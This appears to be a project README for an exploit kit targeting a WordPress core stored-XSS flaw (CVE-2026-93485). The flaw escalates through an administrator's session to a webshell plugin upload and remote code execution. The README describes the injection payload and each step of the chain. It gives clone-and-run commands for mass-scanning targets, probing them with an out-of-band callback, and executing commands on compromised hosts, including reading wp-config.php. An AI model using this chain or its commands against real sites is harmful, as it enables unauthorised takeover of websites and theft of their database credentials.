Zero-click pre-auth WordPress CVE-2026-93485 exploit chain: stored XSS in wpautop() escalates to admin-session plugin upload and a self-deleting webshell, with scanner, shell, and Nuclei template.
Comment2Shell is an end-to-end proof-of-concept for CVE-2026-93485, a
pre-authentication stored XSS in WordPress core wpautop() that
escalates to remote code execution inside an administrator session. An
anonymous comment plants the payload; when an admin opens the post, the
browser uploads a webshell plugin, runs a command, and deletes the shell
again. The whole chain is one dependency-free Python file.
Comment2Shell is an exploit and local-lab kit for CVE-2026-93485. The bug
lives in wp-includes/formatting.php, in the wpautop() paragraph filter
that runs at display time on comment text. A newline inside a
blockquote cite attribute becomes an HTML comment placeholder; the
regex that wraps blockquotes stops at the first > and injects a
paragraph tag into the middle of the attribute, which the browser then
parses as an onfocus handler. The autofocus attribute fires it
zero-click.
The tool covers the whole chain: a passive version scan, a benign XSS probe, the full pre-authentication to RCE exploit, an interactive shell, and a defensive IOC check.
The exploit needs no account, no nonce, and no interaction beyond the admin viewing the post. Comments only have to be open.
WordPress powers a large share of the web and wpautop() is core code, so
the vulnerable filter ships on every affected install regardless of theme
or plugin. The XSS is stored, pre-authentication, and zero-click. Because
it executes in the admin session, it is more than a defacement bug: the
admin cookie is enough to install a plugin, and installing a plugin is
arbitrary code execution.
The fix shipped in WordPress 7.1.1 with backports across 25 branches, down to 4.7.36. Every release from 4.7.0 through 7.1.0 is affected.
Controlled-lab run against WordPress 7.1.0: an anonymous comment plants
the payload, the admin opening the post fires the zero-click chain, the
webshell uploads, the command output returns, and the shell deletes
itself. The browser tab title reports the outcome, either
Comment2Shell: shell uploaded or Comment2Shell: admin login required.
See docker/README.md for the exact procedure.
Comment2Shell does not claim discovery of the flaw. It was reported by Rafie Muhammad (Awesome Motive) through the HackerOne WordPress program and fixed in 7.1.1. The contribution here is a reproducible, dependency-free implementation of the full chain:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Python 3.8+ standard library only, with no pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Each result object carries these fields:
| Field | Meaning |
|---|---|
target | the normalized target URL |
wordpress | true when WordPress was detected |
version | the detected version, or null |
version_method | how the version was found, for example meta or readme |
vulnerable | true, false, or null when the version is unknown |
post_id | a commentable post ID, or null |
error | an error string, or null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
The exploit payload fires
alert("Comment2Shell XSS - CVE-2026-93485")on page load (zero-click viaautofocus). View the post while logged in as admin. The tab title then readsComment2Shell: shell uploadedon success, orComment2Shell: admin login requiredif the browser has no admin session.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60